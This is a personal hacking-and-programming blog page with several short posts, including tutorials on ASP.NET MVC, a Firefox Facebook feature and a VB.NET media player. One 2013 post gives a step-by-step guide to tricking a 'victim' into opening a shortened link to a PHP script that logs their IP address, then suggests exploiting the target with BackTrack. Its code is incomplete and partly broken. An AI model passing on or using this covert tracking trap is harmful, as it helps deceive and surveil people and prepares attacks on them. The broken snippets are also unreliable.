Due to public demand.   2 comments

Hi, every buddy.
Almost after half a year, i am posting here. actually due to work load, i am unable to update the post. But finally i have decided to restart the blog once again. Lets ready for new tricks and hacks.


Posted July 3, 2014 by psanni in Uncategorized

How to get friend ip address from Facebook or Chat? :)   8 comments

ok .. so after long time my new post is on! way to get ip address of your friend computer from Facebook or other chat services like Gtalk,yahoo,Skype etc…
ohhh .. i know you are thinking that how this possible … but anything is possible in term of computer … but to do something you need a mind  😛 ..
ok leave it .. now  i will show you real trick ..

Follow me …. 😉

Step1:- First signup on free hosting site like my3gb, x10Hosting etc…
Step2:- now open text editor in your system and copy paste the following code and save it with .php extension …

$dt = date(“l dS \of F Y h:i:s A”);
$data = $ip.’ ‘.$dt.”\n”;
fwrite($file, $data);
header( ‘Location: https://https://smarthacker5.wordpress.com&#8217;) ;

ohhh .. now you thinking that, what this code does do ..  nothing just grabbing the ip of your victim ..

Step3:- now copy the file url and shorten it with the Services like “bitly” or etc …
Step4:- Send the link which you get to your victim .. and just wait to open it ..
Step5:- now go back and see the ip_address.txt . to get ip…

yup .. so finally you got the ip address … but now what you do with it …
nothing just trace it or exploit it with backtrack …

🙂 happy hacking 🙂

note:- in case if ip_address.txt was no created automatically .. than create it manually and then try again …

Posted May 15, 2013 by psanni in Hacking

How to hack any one facebook account using IP??   9 comments

hey guys … one gud news … that you never hack facebook …

because i am making you fool …. April fool buddy … 😉 ;P 😀 🙂

Posted April 2, 2013 by psanni in Uncategorized

ASP.NET MVC Overview   1 comment


ASP.NET MVC is one of the methods of developing ASP.NET applications. In this article, we will go through the overview of ASP.NET MVC by creating a simple application.

ASP.NET MVC Framework is Microsoft’s Web Application development framework, the other one being traditional webforms framework.

MVC or Model View Controller is a design pattern that addresses the separation of concerns(Soc) which is the process of identifying and separating the application into distinct parts like UI, Logic and Data Access.

Soc has proven to be useful in the design of web applications. Keeping the view separate from the other parts of the application means that we can easily change the view without affecting the rest of the application.

Similarly, if we want to change the main application logic, we just need to change the controller.

ASP.NET MVC is an implementation of the MVC design pattern. The framework helps Test Driven Development which is a method of development in which Unit Test Cases are written before the rest of the application.

The above diagram shows the relationship between the MVC Framework and the .NET Framework. Observe that the Web Forms and MVC are both built on top of ASP.NET Framework.

While building web applications, developers can either choose the web forms model or the MVC model depending on the requirements of the application.

An MVC application consists of Model, View and Controller at its core:

  1. Model: Consists of the data access logic and the classes that represent the objects in the application domain (Business Objects)
  2. View: A view contains HTML markup
  3. Controller: Consists of the main application flow logic

Let’s start with creating simple MVC application to understand the basics of the MVC application. We will start by creating a blank ASP.NET MVC application.

Once the web application is created, we will add the functionality to make it work.

Adding the Controller

For adding the controller, we will right click the controllers folder and select Add -> Controller. We will type the name NamesController in controller name dialog.

Note that the Controller name must end with Suffix Controller. Doing so creates a controller with the default code. We have renamed the action as in the following code.

//public class ProductsController : Controller
    //    //
    //    // GET: /Names/

    //    public ActionResult Electronics()
    //    {
    //        ViewData["Message"] = "Electronics Products Listing";
    //        return View();
    //    }

Here NamesController is the name of our Controller. It inherits from System.Web.Mvc.Controller Framework class. View is a method defined in the base controller class.

Controller is just a normal class that contains action methods which is a non static public method defined in the Controller class.

A controller action is invoked in response to the requested URL like Products.

We will see later how URLs map to the Actions defined in the controller class.

A controller action always returns an action result which determines the response returned to the browser. In the above code, the action returns viewresult which represents an ASP.NET view.

Few of the actionresults are:

  • ViewResult – Represents the HTML for the view
  • RedirectResult – Represents Redirect to another controller action
  • ContentResult – Represents RAW URL sent to the browser
  • EmptyResult – Represents that no result is returned by the action

Typically, we call the method defined in the base controller class whose return type is the appropriate view instead of directly returning the action result.

To invoke the above action, we just need to type the following in the browser Names/Index.

If we want to add another action to the controller, we just need to add another public method to the controller. We can also specify the name of the view explicitly as:

return View("index");

The above code will return the index view instead of returning the default view (which in this case is also index). Now that we have our controller in place, let us create our first view.

View: Views are responsible for rendering the Interface on the browser. To create a view in the controller, we right click on the action and select Add View.

We will leave the default options selected in the create new view dialog. This creates a new view with two content elements. In the first content, we place the content we want to appear in the title, while in the second content we place the content we want to appear in the body of an HTML page. We will replace the second content control with the following:

 <asp:Content ID="Content2" ContentPlaceHolderID="MainContent" runat="server">
    <h2> <%=ViewData["Message"]  %></h2>

Remember that we have assigned the ViewData property in the Controller’s Index action method. View data is a dictionary object used to pass the information between the controller and the view. Here, we are using the view data property to display the message in the view.


In traditional web applications, the URL is hardwired with the application code that gets executed or resource that is requested. URL Routing decouples the URL with the application code.


One of the advantages of this decoupling is that it makes the URL more user friendly since we can give more meaningful names to the URL. For example, instead of using something like ListProduct.aspx, we can use simply Products which is more meaningful to the end user.

Routing defines a URL pattern that should match to access the application.

We normally define the routes in the global.asax file since it contains the application life cycle events. By default, routes are defined in the RegisterRoutes method which is called from Application_Start event.

                	new { controller = "Products", action = "Electronics",
		id = UrlParameter.Optional }

The second parameter in the MapRoute method matches all the URLs that satisfy the above pattern e.g. {Controller}/{Action}/{id} and the appropriate Controllers action method is called for the matched URL.

For more visit MVC Official site http://www.asp.net/mvc


Posted December 21, 2012 by psanni in ASP.NET

Now Facebook is always with you?   1 comment

Facebook, As soon as we heard this word,many thing will come in your mind, like : friend request send by you to Girl, about some past chat… bla bla bla …
oohhhhhh .. ok ok … direct to point … There is a some good news for Facebook or Firefox lovers ….
Now you can see Facebook Notification, Chat or many from direct your browser… Now u think that! what is this I know this…
But wait I am not talking about RockMelt or any other browser … yes…. Mozilla ….
Mozilla introduce the new feature in which you can see the Facebook notification & Chat in you browser….

You can download latest version from https://www.mozilla.org/en-US/

Now how to Enable it …..

Step1-> Install new Version of Firefox(>17.0)…
Step2-> Now Login into your Facebook Account
Step3-> Move to following link …




Step4-> Press Turn on button ….
ohhhh very gud you done ….

Posted December 5, 2012 by psanni in Information

RunCommand Editor and Cleaner:   Leave a comment

Hello after Some time of Break I come With My New Tool ‘Run Editor’
Now You Ask What is The Use of This Tool … Ok.. wait …
You Daily Use Many Run Commands like ‘Notepad’,’Cmd’ and many more To Launch Application… but can you think how your Friend Feel When you Say i have my own Run Commands of My Favourite Application …
ok..ok… hey Stop thinking or controls you Feelings …. And Let’s Start The Process Of Making your Own Run Command …..

ok… First Download The My Tool(S/W) From Link,Given at Bottom Of Post…(It’s also available in Setup…)
Then After Extarct it And Launch RunEditor.exe (If you Are Using Windows 7 Than Run As Administrator….)

1) Now you See The Pretty Screen Look like this …


2. ohhh.. you say … it’s easy ..than ok… and Enter Your Command Name Which You Like For your Application….in command name Field ….
    And then Click on Check Button For Check It’s Already Used Or not ….

3. Than in next textbox Enter the Path of File You want to run When Command Execute….

4. After Than Click on Apply To Add Your Command… and test … them….

– In this Utility We have Another Feature Command Viewer Which Show us The Command Available in Windows … and also allows
   Search and Delete Some Commands …..

At last If you Found any Bug and Error then Contact me …. at email skp19935@gmail.com

Click me to Download the Tool….

Posted January 29, 2012 by psanni in Tools

How to Create Your Own Media Player in Vb.net?   12 comments

We All Know About Windows Media Player Or Other Players That use to Play a Audio And Video File in Your Computer OR Laptops or etc… But Any Body Know how to make it … ?
Don’t know …. ok … ok … i will teach you how to make it….
In this Tutorial We Use Visual Basic 2008 To make Our Own Media Player….
ok…. let’s Start….

1. Open  Vb.net and Create New Windows Application ….
2. Give it Name MY Media Player…
3. Change the Text of Form1 to Your Own one … like My Media Player, Smart Media Player etc…. (Here I use Smart Media Player…. )


4. Ok … now Add COM Component… From Chose Items …
      Follow this ….


5. Now You can See new Toll Windows Medial Player In Tool Box Control…. Drag It into Form….


6. Now You Can See One Little Control Same Look Like Windows Media Player….. Drag and Drop it into Form….
7. Ohhh…. see there is one little Medial player… oh … Interesting …


8. Hey Congrat’s you done it …. now Double Click on Play Button and you can See code Window….
            In this Write Following lines of Codes….
                     AxWindowsMediaPlayer1.URL = "z:\Songs\xyz.mp3”       // You file Path Will be goes here……

           You Can make Your Own Playlist and Write this Code In SelectedIndexChanged  Event of List box and Combo Box…..

9.  Now … .Double Click on Stop Button and Write Following Lines of Codes ….

10. Do Same For Following Buttons ….
             1. Pause :-  AxWindowsMediaPlayer1.Ctlcontrols.pause()
             2.Prev":-     AxWindowsMediaPlayer1.Ctlcontrols.previous()

       Do same For many other  Controls….

11. Now Run your Application … See it Work ….
      if you have any Problem During the Execution Than Contact me …. Any time …. Best f lck….

Posted December 30, 2011 by psanni in Uncategorized